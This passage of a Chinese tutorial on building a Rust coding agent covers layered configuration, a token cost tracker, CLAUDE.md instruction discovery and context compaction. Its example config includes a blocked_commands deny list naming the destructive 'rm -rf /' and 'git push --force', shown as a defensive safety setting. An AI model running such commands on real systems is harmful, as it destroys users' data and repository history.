只有三个字段支持环境变量:model、base_url 和 max_context_tokens。这些是 CI 和脚本场景中最常被覆盖的字段。blocked_commands 和 protected_patterns 等安全字段被有意排除——不希望被攻破的环境变量禁用安全规则。
注意 MINI_CLAW_MAX_TOKENS 的双重解析:先用 std::env::var 获取字符串,再用 .parse::<u64>() 转换为数字。字符串不是有效整数时,解析静默失败,保留现有值。不会崩溃,没有错误消息。这是处理环境变量的正确行为——MINI_CLAW_MAX_TOKENS=abc 中的拼写错误不应该使 agent 崩溃。
CostTracker:了解你的花费
每次 LLM API 调用都要花钱。成本取决于两个因素:发送了多少 token(输入)以及模型生成了多少 token(输出)。不同模型的定价差异很大——Claude Sonnet 大约每百万输入 token 3 美元、每百万输出 token 15 美元,Haiku 则便宜了一个数量级。
编程 agent 每次会话会进行多次 API 调用。复杂任务可能跑 20-30 个工具调用轮次,每次都发送完整的对话历史。没有追踪,根本不知道一次会话花了 0.02 美元还是 2.00 美元。CostTracker 在整个会话中累积 token 计数并计算运行成本。
#![allow(unused)] fn main() { pub struct CostTracker { input_tokens: u64, output_tokens: u64, turn_count: u64, input_price_per_million: f64, output_price_per_million: f64, } }
五个字段。前三个是随每次 API 调用增长的累积器,后两个是根据模型定价在构建时设置的常量。
构建
#![allow(unused)] fn main() { impl CostTracker { pub fn new(input_price_per_million: f64, output_price_per_million: f64) -> Self { Self { input_tokens: 0, output_tokens: 0, turn_count: 0, input_price_per_million, output_price_per_million, } } } }
调用方提供定价。Claude Sonnet 用 CostTracker::new(3.0, 15.0),Haiku 用 CostTracker::new(0.25, 1.25)。这将追踪器与特定模型的知识分离——它只计算 token 并乘以费率。
记录使用量
#![allow(unused)] fn main() { pub fn record(&mut self, usage: &crate::types::TokenUsage) { self.input_tokens += usage.input_tokens; self.output_tokens += usage.output_tokens; self.turn_count += 1; } }
每次 provider 响应后调用。TokenUsage 结构体(来自第 4 章)携带每次请求的 token 计数,追踪器累积并递增轮次计数器。
注意 record 接受 TokenUsage 的引用而非所有权。调用方通常将使用量附加在 AssistantTurn 上,不应为了记录成本而放弃它。
计算成本
#![allow(unused)] fn main() { pub fn total_cost(&self) -> f64 { let input_cost = self.input_tokens as f64 * self.input_price_per_million / 1_000_000.0; let output_cost = self.output_tokens as f64 * self.output_price_per_million / 1_000_000.0; input_cost + output_cost } }
直接的算术运算。输入 token 乘以每百万 token 的输入价格,除以一百万;输出同理;两者相加。结果以美元为单位。
100 个输入 token(3 美元/M)和 50 个输出 token(15 美元/M)的会话:
input: 100 * 3.0 / 1,000,000 = 0.0003
output: 50 * 15.0 / 1,000,000 = 0.00075
total: 0.00105
即 0.00105 美元——大约十分之一美分。典型的交互式会话花费 0.05 到 0.50 美元,具体取决于复杂性和模型选择。
摘要格式化
#![allow(unused)] fn main() { pub fn summary(&self) -> String { format!( "tokens: {} in + {} out | cost: ${:.4}", self.input_tokens, self.output_tokens, self.total_cost() ) } }
生成类似 "tokens: 5000 in + 1000 out | cost: $0.0300" 的字符串。四位小数提供亚分精度。TUI 会在状态栏中显示这个——对本次会话花费的持续提醒。
重置
#![allow(unused)] fn main() { pub fn reset(&mut self) { self.input_tokens = 0; self.output_tokens = 0; self.turn_count = 0; } }
将累积器清零,但保留定价。在同一会话中开始新的逻辑任务时很有用,或者在多对话 agent 中做每次对话的成本追踪。
访问器方法
追踪器通过只读方法暴露累积器:
#![allow(unused)] fn main() { pub fn total_input_tokens(&self) -> u64 { self.input_tokens } pub fn total_output_tokens(&self) -> u64 { self.output_tokens } pub fn turn_count(&self) -> u64 { self.turn_count } }
UI 和日志系统可以读取状态而无需修改。字段本身是私有的——修改它们的唯一方式是通过 record() 和 reset(),保持记账一致性。
综合运用:示例配置文件
项目的 .claw/config.toml 可能的样子:
model = "anthropic/claude-sonnet-4-20250514"
max_context_tokens = 100000
protected_patterns = [".env", "*.lock", "secrets/*"]
blocked_commands = ["rm -rf /", "git push --force"]
instructions = "Always run cargo fmt after editing Rust files."
用户的 ~/.config/mini-claw/config.toml:
model = "anthropic/claude-sonnet-4-20250514"
base_url = "https://my-proxy.example.com/v1"
两者都存在时,加载器这样合并:
- 默认值 — 所有字段获得默认值。
- 项目配置解析为
ConfigOverlay,文件中提到的键(model、max_context_tokens、protected_patterns、blocked_commands、instructions)各有一个Some(_)。merge将每个应用到基础配置。 - 用户配置解析为 overlay,
model和base_url各有一个Some(_)。即使其model值恰好与默认值相同,这也不再重要——overlay 说该字段被设置了,所以它替换项目的值。base_url同样替换默认值。 - 环境 — 设置了
MINI_CLAW_MODEL的话,覆盖一切。
最终配置拥有项目的安全规则、用户的模型和代理 URL,以及其余字段的默认值。每层只贡献它知道的内容,不需要重复它不关心的内容;某层设置的值恰好与默认值一致时,也不会被静默忽略。
Claude Code 的实现方式
Claude Code 有类似的 4 层层级:项目设置、用户设置、环境、默认值。细节上有些值得关注的差异。
格式。 Claude Code 用 JSON(settings.json、settings.local.json)而非 TOML。JSON 对 Web 开发者(Claude Code 的主要受众)更熟悉,并与 TypeScript 自然集成。我们用 TOML,因为它是 Rust 生态系统标准——每位 Rust 开发者每天都在读 Cargo.toml。
合并复杂度。 Claude Code 支持按键覆盖策略。某些字段追加(权限规则在层间累积),某些替换(模型名称),某些使用首次写入语义(项目指令优先于相同键的用户指令)。我们的合并逻辑只用一种策略:overlay 设置的每个字段替换基础值,包括集合。更简单,但涵盖了常见情况。
成本追踪。 Claude Code 按模型追踪成本,支持缓存感知定价。API 报告 cache_read_tokens 时,这些 token 以较低费率计费(通常比普通输入 token 便宜 90%)。我们的 CostTracker 忽略缓存,对所有输入 token 一视同仁。添加缓存感知定价意味着扩展 record() 以接受 cache_read_tokens 并应用单独的费率,但架构不会改变。
验证。 Claude Code 在加载时验证设置——未知键产生警告,类型不匹配产生错误。我们的 load_file 静默丢弃无法解析的文件。生产实现会进行验证并报告。
尽管有这些差异,分层架构是相同的。设置从通用(默认值)流向特定(环境),每层覆盖前一层。Config 结构体是整个 agent 的单一真相来源,传给每个需要了解如何运作的子系统。
测试
运行测试:
cargo test -p mini-claw-code-starter config # Config, ConfigLoader
cargo test -p mini-claw-code-starter cost_tracker # CostTracker
注意:Config 和 ConfigLoader 测试在 config 中(沿用 V1 编号,配置是第 16 章)。CostTracker 测试在 cost_tracker 中(V1 token 追踪章节)。
关键配置测试(config):
- test_config_default_config —
Config::default()产生预期的模型、token 限制和非空安全默认值。 - test_config_load_from_toml — 包含
model和max_context_tokens的 TOML 字符串正确反序列化。 - test_config_default_fills_missing_fields — 只有
model的 TOML 文件仍然获得preserve_recent、instructions等的默认值。 - test_config_load_nonexistent_path — 从不存在的路径加载返回
None而不是崩溃。 - test_config_mcp_server_config — MCP server 配置通过 TOML 正确往返。
- test_config_hooks_config — 钩子配置(命令、工具模式、超时)从 TOML 反序列化。
- test_config_env_override — 设置
MINI_CLAW_MODEL环境变量覆盖已加载配置中的模型。 - test_config_protected_patterns_default — 默认配置在受保护模式中包含
.env和.git/**。
关键成本追踪器测试(cost_tracker):
- test_cost_tracker_empty_tracker — 新追踪器从零 token、零回合、零成本开始。
- test_cost_tracker_record_single_turn — 记录一个回合递增输入/输出 token 和回合计数器。
- test_cost_tracker_accumulates_across_turns — 三次
record()调用正确累积总计。 - test_cost_tracker_cost_calculation — 以 3 美元/15 美元每百万计,100 万输入 + 100 万输出 token = 18.00 美元。
- test_cost_tracker_cost_small_numbers — 1000 个输入 + 200 个输出 token = 0.006 美元。
- test_cost_tracker_summary_format —
summary()产生预期的"tokens: N in + N out | cost: $X.XXXX"格式。 - test_cost_tracker_reset —
reset()将累积器清零但保留定价。
核心要点
分层配置让每一层(默认值、项目、用户、环境)只贡献它知道的内容。把形状拆分为完全解析的 Config 和部分 ConfigOverlay(字段为 Option<T>)将"该字段是否被设置?"这个问题放入类型系统:None 意味着文件没有提到它,Some(v) 意味着提到了——不管 v 是什么。合并只有一条规则:每个 Some(_) 替换基础值。
回顾
本章构建了 agent 其余部分依赖的两个子系统。
-
Config在单个结构体中保存每个可配置参数。Serde 的#[serde(default)]属性使部分 TOML 文件工作——只设置想要更改的内容。 -
ConfigOverlay是Config的部分对应物:每个字段都是Option<T>。None表示字段未在该层中设置,Some(v)表示已设置——即使v恰好等于默认值,也能保持区别。 -
ConfigLoader实现 4 层合并流水线:默认值、项目配置、用户配置、环境变量。每个文件层被解析为ConfigOverlay并以单一规则应用:每个Some(_)替换基础值。 -
CostTracker在会话中累积 token 使用量并根据每百万 token 定价计算估算成本。summary()方法产生 TUI 显示的单行状态字符串。 -
合并策略是关键设计决策。在类型系统中编码"已设置与未设置"(而非从值猜测)保证了最后写入者获胜,并使显式重置——清空列表、重新断言默认值——正确工作。
-
环境变量被有意限制为三个字段。
blocked_commands和protected_patterns等安全关键设置应来自已检入版本控制或明确管理的配置文件,而非可能被操纵的环境变量。
下一步
配置告诉 agent 如何运作。第 18 章——项目指令——告诉它知道什么。Config 中的 instructions 字段只是个字符串。指令系统从项目树中读取 CLAUDE.md 文件,将它们与用户指令合并,并注入系统提示词。设置和指令共同使 agent 具有情境感知能力——它根据每个项目调整行为和知识。
自我检测
← 第 16 章:Plan 模式 · 目录 · 第 18 章:项目指令 →
第 18 章:项目指令与上下文管理
需要编辑的文件:
src/context.rs运行的测试:cargo test -p mini-claw-code-starter instructions(InstructionLoader)、cargo test -p mini-claw-code-starter context_manager(ContextManager) 预计时间: 40 分钟
本章收尾了两个让 agent 长会话稳定运行的关键模块:
InstructionLoader(第 8 章已实现)通过向上遍历文件系统发现 CLAUDE.md 文件。本章重新审视它,看清楚它的输出如何在会话启动时注入到对话中。ContextManager(本章新增)在 token 预算耗尽时对旧轮次进行摘要,将对话保持在模型的上下文窗口以内。这是需要你填写实现的部分。
第 17 章加入了 Config,一套分层配置体系。其中一个字段是 instructions: Option<String>——用户可以放在 TOML 配置文件中并注入到系统提示词的自定义文本。
本章将三者串联起来。agent 由此变得项目感知(从 /home/user/project/backend 启动与从 /home/user/other 启动会加载不同的 CLAUDE.md 文件),同时变得会话持久(20 轮的调试会话不会撞上上下文限制)。
cargo test -p mini-claw-code-starter instructions # InstructionLoader
cargo test -p mini-claw-code-starter context_manager # ContextManager
目标
- 理解
InstructionLoader的输出和Config.instructions如何在会话启动时作为系统消息注入。 - 实现
ContextManager::record,使每轮的 token 用量累计到运行总数中。 - 实现
ContextManager::compact,在预算耗尽时用 LLM 生成的摘要替换消息历史的中间部分,同时完整保留系统提示词和最近的消息。 - 理解为什么系统提示词(包含发现的 CLAUDE.md 内容)必须在压缩时保持不变——它是 LLM 每轮都需要的那条消息。
会话级流水线
完整流程如下。会话启动时,指令被发现并推入消息历史。会话过程中,ContextManager 监测 token 用量,在预算耗尽时压缩历史的中间部分。
┌─────────────────────────────┐
│ Filesystem │ (at session start)
│ │
│ /home/user/CLAUDE.md │──┐
│ /home/user/project/ │ │
│ CLAUDE.md │──┤ InstructionLoader::discover()
│ backend/ │ │ walks upward, collects paths
│ CLAUDE.md │──┤
│ .claw/instructions.md │──┘
└─────────────────────────────┘
│
▼
┌─────────────────────────────┐
│ InstructionLoader::load() │
│ concatenates with headers │
│ and --- separators │
└─────────────────────────────┘
│
▼
┌─────────────────────────────┐
│ messages[0] = System( │ (injected once, never edited)
│ "# Instructions from ... │
│ <concatenated CLAUDE>" │
│ ) │
└─────────────────────────────┘
│
▼ (agent loop: User → Assistant → ToolResult → ...)
│
┌─────────────────────────────┐
│ ContextManager │ (runs after every turn)
│ │
│ .record(usage) │ ← accumulate input + output tokens
│ .should_compact() │ ← tokens_used >= max_tokens?
│ │
│ On trigger: │
│ keep messages[0] │ ← the system/instructions message
│ ask provider to │
│ summarise middle │ ← LLM call with the old transcript
│ keep last N messages │
│ │
│ Result: short history, │
│ same system prompt. │
└─────────────────────────────┘
两点需要注意。
指令在会话内是稳定的。 只加载一次,成为第一条系统消息,之后不再修改。从不同目录启动会得到不同的 messages[0],但会话一旦开始,指令内容就固定了。用户通常不会在聊天过程中编辑 CLAUDE.md。
上下文管理是会话级的,不是提示词级的。 压缩不是在"系统提示词"中插入新段落,而是通过对中间部分进行摘要来重写消息历史。系统提示词(携带你的指令)被有意排除在压缩之外——它始终是锚点。
重新审视 InstructionLoader
第 8 章已经构建过它了。现在在实际流水线中使用,重新审视代码,设计决策在上下文中会更加清晰。
结构体
#![allow(unused)] fn main() { pub struct InstructionLoader { file_names: Vec<String>, } }
加载器不硬编码要查找哪些文件,接受文件名列表,default_files() 将列表设为 ["CLAUDE.md", ".claw/instructions.md"]。这意味着测试时可以换不同的文件名,或者不修改加载器就能添加项目特定的替代文件。
#![allow(unused)] fn main() { impl InstructionLoader { pub fn new(file_names: &[&str]) -> Self { Self { file_names: file_names.iter().map(|s| s.to_string()).collect(), } } pub fn default_files() -> Self { Self::new(&["CLAUDE.md", ".claw/instructions.md"]) } } }
发现:向上遍历
flowchart BT
A["/home/user/project/backend/"] -->|check for CLAUDE.md| B["/home/user/project/"]
B -->|check for CLAUDE.md| C["/home/user/"]
C -->|check for CLAUDE.md| D["/home/"]
D -->|check for CLAUDE.md| E["/"]
A -.->|"found: backend/CLAUDE.md"| F["Collected paths<br/>(reversed to root-first)"]
B -.->|"found: project/CLAUDE.md"| F
C -.->|"found: user/CLAUDE.md"| F
discover() 从给定目录开始,向文件系统根目录方向遍历。在每个目录中检查列表中的每个文件名:
#![allow(unused)] fn main() { pub fn discover(&self, start_dir: &Path) -> Vec<PathBuf> { let mut found = Vec::new(); let mut dir = Some(start_dir.to_path_buf()); while let Some(current) = dir { for name in &self.file_names { let candidate = current.join(name); if candidate.is_file() { found.push(candidate); } } dir = current.parent().map(|p| p.to_path_buf()); } found.reverse(); // Root-first order found } }
末尾的 found.reverse() 是关键的设计选择。遍历自然地从最具体到最通用收集文件(起始目录在前,根目录在后),反转后变成从根目录到具体目录的顺序。
三个层级都有 CLAUDE.md 文件时,discover("/home/user/project/backend") 返回的向量为:
[0] /home/user/CLAUDE.md ← global preferences
[1] /home/user/project/CLAUDE.md ← project conventions
[2] /home/user/project/backend/CLAUDE.md ← subdirectory rules
全局偏好排在最前面,最具体的规则排在最后。LLM 读取系统提示词时,最后出现的指令影响力最强——与 CSS 优先级原则相同:通用规则在前,覆盖规则在后。
加载:读取、过滤、拼接
load() 调用 discover(),读取每个文件,拼接结果:
#![allow(unused)] fn main() { pub fn load(&self, start_dir: &Path) -> Option<String> { let paths = self.discover(start_dir); if paths.is_empty() { return None; } let mut sections = Vec::new(); for path in &paths { if let Ok(content) = std::fs::read_to_string(path) { let content = content.trim().to_string(); if !content.is_empty() { sections.push(format!( "# Instructions from {}\n\n{}", path.display(), content )); } } } if sections.is_empty() { None } else { Some(sections.join("\n\n---\n\n")) } } }
三个细节:
标题。 每个文件的内容前加上 # Instructions from <path>,告诉 LLM 每个块来自哪里,帮它解决不同层级之间的矛盾。
分隔符。 文件之间用 \n\n---\n\n 连接——markdown 中的水平线,为 LLM 在指令块之间提供清晰的边界。
跳过空文件。 CLAUDE.md 存在但为空或只有空白字符时,静默跳过。在空段落上浪费上下文 token 毫无意义。
返回 None。 找不到指令文件,或者全部为空,load() 返回 None 而不是 Some(""),让调用方可以完全跳过添加指令段落。
指令层级
指令可以来自多个来源。完整层级结构,从最宽泛到最具体:
Source Priority Section type
──────────────────────────────────────────────────────────────
/home/user/CLAUDE.md lowest file (root-first)
/home/user/project/CLAUDE.md ↓ file
/home/user/project/backend/CLAUDE.md ↓ file
.claw/instructions.md ↓ file (alternative)
Config.instructions highest config
基于文件的指令由 InstructionLoader 发现,按从根到子目录的顺序排列。基于配置的指令来自 Config 结构体的 instructions 字段——从 .claw/config.toml 或 ~/.config/mini-claw/config.toml 加载。
两者都成为系统提示词中的动态段落。文件指令先添加,配置指令后添加。LLM 从上到下读取提示词,冲突时配置指令拥有最终话语权。
为什么要有两个来源?
CLAUDE.md 文件提交到版本控制,代表项目所有成员共享的团队约定。"用 cargo test 运行测试。""不要修改自动生成的文件。""使用 edition 2024。"
配置指令是本地的。放在 .claw/config.toml(可能提交也可能不提交)或用户主目录的配置文件(从不提交)。它们代表个人偏好或临时覆盖。"始终解释你的推理过程。""本次会话专注于性能而非可读性。"
关键 Rust 概念:用 if let 链式处理可选流水线步骤
连接代码用 if let Some(instructions) = loader.load(...) 条件性地添加段落。这是 Rust 中处理可选流水线步骤的惯用写法:InstructionLoader::load() 返回 Option<String>——不存在指令文件时返回 None,存在时返回 Some(text)。if let 绑定解构 Option,只在有值时执行主体。类似地,Config.instructions 是 Option<String>,if let Some(ref inst) = config.instructions 只在配置有指令时才添加段落。提示词构建器永远不会添加空段落——系统提示词的长度恰好是所需的长度。
将它们连接在一起
会话启动是 InstructionLoader 与 Config.instructions 相遇的地方。两者最终都成为对话开头的系统消息:
#![allow(unused)] fn main() { let loader = InstructionLoader::default_files(); let mut messages: Vec<Message> = Vec::new(); // File-based instructions (CLAUDE.md, root-first). if let Some(instructions) = loader.load(Path::new(cwd)) { messages.push(Message::System(instructions)); } // Config-based instructions get the last word. if let Some(ref inst) = config.instructions { messages.push(Message::System(inst.clone())); } }
Message::System 是本书通篇用于 agent 指令的变体。两个来源都成为历史开头的系统消息,按优先级排列:全局 → 项目 → 子目录 → 配置。LLM 从上到下读取,出现分歧时后面的消息覆盖前面的。
本书不维护结构化的"提示词构建器"来将身份 / 安全 / 环境 / 指令作为命名段落跟踪。生产级 agent(如 Claude Code)会这样做:详见下方的侧边栏。本章剩余内容的重点是:指令现在位于 messages 的开头,agent 循环不会再次触及它们。
侧边栏:生产级 agent 中的提示词构建器(概念性)
Claude Code 和类似的 agent 将系统提示词分成命名段落——身份、安全、工具 schema、环境、指令——并以缓存边界将列表一分为二。边界以上的内容在各轮中保持稳定,可以被 provider 标记为可缓存;边界以下的内容可以变化,每轮重新发送。
示意图(starter 中不包含此内容):
# identity, safety, tool schemas ← cached prefix, stable across turns
# ──── cache boundary ─────────
# environment, instructions ← dynamic suffix, may change
这种设计在成本和延迟上有实际收益:长而稳定的前缀只处理一次,可以复用。starter 没有显式建模这一点,因为我们的 Message::System 消息已经存放在一个列表中;provider 侧的缓存(若已实现)可以以该列表的前缀为键。
本章剩余部分聚焦于 starter 实际建模的内容:会话运行较长时,保持对话足够短以适应上下文窗口。这个任务属于 ContextManager。
ContextManager:压缩算法
starter 的 ContextManager 位于 src/context.rs,有三项职责:
- 追踪 token 用量(
record):将每次 provider 调用的输入 + 输出 token 累加到运行计数器中。 - 决定何时行动(
should_compact):计数器达到配置的预算时返回true。 - 按需重写历史(
compact):将旧消息折叠为 LLM 生成的单条摘要,同时保留锚点。
结构体
#![allow(unused)] fn main() { pub struct ContextManager { max_tokens: u64, preserve_recent: usize, tokens_used: u64, } }
两个旋钮,一个状态。
max_tokens— 软限制。tokens_used达到它时触发压缩。设置在模型硬上下文限制以下留有余量,以便在缩减之前还有空间完成下一轮。preserve_recent— 压缩时保持不变的尾部消息数量。这些消息携带即时的对话上下文——最后一个用户轮次、刚刚发出的工具调用、即将推理的工具结果。对它们摘要会破坏下一轮。tokens_used— 运行总数,每次 provider 调用后由record更新。
记录与触发
record 很简单——只是累加:
#![allow(unused)] fn main() { pub fn record(&mut self, usage: &TokenUsage) { self.tokens_used += usage.input_tokens + usage.output_tokens; } }
should_compact 与预算比较:
#![allow(unused)] fn main() { pub fn should_compact(&self) -> bool { self.tokens_used >= self.max_tokens } }
agent 循环在每次 provider 调用后调用 record,然后调用 maybe_compact,后者只在达到阈值时才调用 compact。实际上压缩很少发生:大多数轮次都在预算以内,什么也不做。
压缩:头部 + 摘要 + 尾部
compact 将消息历史分成三个切片:
messages = [ head | middle | recent ]
<-- keep ---->|<-- summarise->|<-- keep intact ->
- head — 开头的
Message::System(如果存在)。这是 CLAUDE.md 派生指令所在的地方,始终保留。 - middle — head 与最后
preserve_recent条消息之间的所有内容,是被摘要的部分。 - recent — 最后
preserve_recent条消息,始终保留。
middle 被渲染为紧凑的对话记录("User: ..."、"Assistant: ..."、" [tool: name]"、" Tool result: <preview>"),连同简短指令("用 2-3 句话摘要,保留关键事实和决策")一起发送给 provider,结果成为一条合成系统消息:Message::System("[Conversation summary]: ...")。
重建后的向量为 [head, summary, ...recent]。40 条消息的对话折叠为大约 1 + 1 + preserve_recent 条消息。
/= 3 token 重置
压缩之后,不重新分词就无法确切知道新历史使用了多少 token。但我们知道新历史比旧历史短得多,继续按压缩前的总量累积会立即触发另一次压缩。粗略的代理:
#![allow(unused)] fn main() { self.tokens_used /= 3; }
经验来看,将长历史压缩到 [system, summary, N recent] 可以将 token 数量减少大约 3–5 倍。除以 3 是保守估计,让 agent 持续运行,直到真实 token 数量重新攀升到预算。更精确的实现会从新的 messages 向量重新计数 token;这个代理对于 starter 来说已经足够好,且保持了代码简洁。
为什么用摘要而不是截断?
显而易见的替代方案是直接丢弃旧消息。这很便宜(不需要额外的 LLM 调用),但会丢失信息。用户在第 3 轮说"全程使用 snake_case",你在第 40 轮丢弃了它,agent 就会忘记。摘要以每次压缩多一次 LLM 往返的代价,保留了被丢弃范围内的决策和事实。由于压缩很少发生,这个权衡有利于摘要。
为什么摘要用系统消息而不是用户或助手消息?因为摘要是元上下文,不是任何一方说过的话。系统框架告诉 LLM"这是背景信息,不是活跃的发言轮次",与它的使用方式相符。
Claude Code 是怎么做的
Claude Code 通过从工作目录向上遍历发现 CLAUDE.md 文件,采用了与我们相同的向上遍历模式。但它的指令系统在几个方面更加复杂。
用户级指令。 Claude Code 支持 ~/.claude/CLAUDE.md 作为全局指令文件。我们的 InstructionLoader 天然实现了同样的效果:向上遍历到达主目录并找到了 CLAUDE.md,它就会被包含进来,无需特殊处理。
基于配置的工具规则。 Claude Code 的 .claude/settings.json 指定每个工具的权限规则。这些规则配置的是权限引擎(第 13 章),而不是提示词。我们的 Config 用 allowed_directory、protected_patterns 和 blocked_commands 保持了更简洁的实现。
记忆文件。 Claude Code 支持跨会话积累事实的持久记忆。记忆与指令一起加载,但管理方式不同。本书在记忆功能之前结束,但指令加载器是扩展到记忆功能的天然切入点。
指令验证。 Claude Code 会在不同层级的指令相互矛盾时发出警告。我们的实现信任 LLM 用从根到子目录的顺序解决矛盾——更具体的指令排在后面,因此优先级更高。
核心模式是相同的:发现文件,按顺序加载,作为动态提示词段落注入。其他一切都是完善和改进。
测试
运行测试:
cargo test -p mini-claw-code-starter instructions # InstructionLoader
cargo test -p mini-claw-code-starter context_manager # ContextManager
注意:InstructionLoader 的测试在 instructions 中(第 8 章构建,本章重新审视)。ContextManager 的测试在 context_manager 中(本章新增)。
关键 InstructionLoader 测试(instructions):
- test_instructions_discover_in_current_dir — 在起始目录中找到 CLAUDE.md。
- test_instructions_discover_in_parent — 向上遍历并在父目录中找到 CLAUDE.md。
- test_instructions_no_files_found — 路径中任何地方都不存在指令文件时,返回空列表。
- test_instructions_load_content —
load()返回包含文件内容的Some。 - test_instructions_load_empty_file —
load()对空的 CLAUDE.md 返回None(不浪费 token)。 - test_instructions_multiple_file_names — 在同一目录中同时发现
CLAUDE.md和.mini-claw/instructions.md。 - test_instructions_system_prompt_section —
system_prompt_section()用"项目指令"标题包装内容。 - test_instructions_default_files —
default_files()构造函数不会 panic。
关键上下文测试(context_manager):
- test_context_manager_below_threshold_no_compact — 低于 token 阈值时,上下文管理器不触发压缩。
- test_context_manager_triggers_at_threshold — 记录的 token 超过阈值时触发压缩。
- test_context_manager_compact_preserves_system_prompt — 压缩后,系统提示词仍作为第一条消息保留。
- test_context_manager_compact_preserves_recent — 最近的 N 条消息在压缩后完整保留。
核心要点
指令在会话启动时注入一次,压缩在会话中途按需运行。messages[0] 的系统消息是锚点:它携带使当前项目有别于其他项目的指令,在每次压缩中完整保留,agent 永远不会失去根基。
回顾
本章连接了三个模块:
-
InstructionLoader通过向上遍历文件系统发现 CLAUDE.md 文件,以带有标题和分隔符的从根到子目录的顺序拼接。全局偏好在前,子目录覆盖规则在后。 -
Config.instructions从第 17 章构建的分层配置提供可选的第二块指令,追加在基于文件的块之后,拥有最终话语权。 -
ContextManager追踪 token 用量,在预算耗尽时将消息历史的中间部分压缩为 LLM 生成的摘要。它保留开头的系统消息(你的指令)和尾部的preserve_recent条消息(你当前的对话上下文)。
启动流水线为:发现指令文件,用拼接后的内容构建一条 Message::System,可选地从 Config.instructions 追加另一条 Message::System,然后运行正常的 agent 循环。每次 provider 调用后,循环调用 record 和 maybe_compact;短会话中压缩从不触发,长会话中根据需要触发多次。
延伸探索
这是当前系列的最后一章。基础已经就绪:消息、provider、工具、agent 循环、提示词、权限、安全、钩子、plan 模式、设置和指令。
可以自行探索的自然扩展方向:
- 持久记忆 — agent 在一次会话中学到的事实,下次会话还能回忆起来。记忆文件与指令一起加载,但管理方式不同:指令由人类编写,记忆由 agent 自身编写。
- Token 和成本追踪 — 对 provider 进行插桩,汇总每次会话的 token 使用量并在 TUI 中展示。
- 更智能的压缩 — 我们的
ContextManager使用单次摘要和粗略的/= 3token 重置。生产级替代方案包括层级摘要(摘要的摘要)以及对新历史重新分词以获得精确计数。 - 会话与恢复 — 将消息历史序列化到磁盘,使对话可以暂停并恢复。
- MCP(模型上下文协议) — 在运行时从外部 MCP 服务器加载工具,而不是在启动时硬编码。
- 子 agent — 为限定范围的子任务生成具有过滤工具集的子 agent。